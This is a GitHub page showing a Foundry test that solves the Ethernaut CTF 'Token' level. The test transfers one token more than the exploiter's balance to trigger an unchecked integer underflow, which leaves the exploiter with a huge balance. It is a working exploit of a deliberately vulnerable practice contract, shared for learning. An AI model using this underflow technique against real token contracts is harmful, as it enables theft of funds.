-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTokenExploit.t.sol
43 lines (35 loc) · 1.41 KB
/
TokenExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
// Fix the following compiler error (specific to 0.6.x)
// Error: Unimplemented feature (/Users/distiller/project/libsolidity/codegen/CompilerUtils.cpp:420):Encoding type "struct StdInvariant.FuzzInterface memory[] memory" not yet implemented.
// UnimplementedFeatureError: Encoding type "struct StdInvariant.FuzzInterface memory[] memory" not yet implemented.
// - https://github.com/leovct/puzzl3s/issues/25
// - https://github.com/foundry-rs/foundry/issues/4376
pragma experimental ABIEncoderV2;
import '../../src/EthernautCTF/Token.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract TokenExploit is Test {
Token target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new Token(10000);
console.log('Target contract deployed');
assertTrue(target.transfer(exploiter, 20));
console.log('20 tokens given to exploiter');
vm.stopPrank();
}
function testExploit() public {
uint256 balance = target.balanceOf(exploiter);
console.log('Balance: %d', balance);
assertEq(balance, 20);
vm.startPrank(exploiter);
assertTrue(target.transfer(address(0x0), 21));
vm.stopPrank();
balance = target.balanceOf(exploiter);
console.log('Balance: %d', balance);
assertTrue(balance >= 10000);
}
}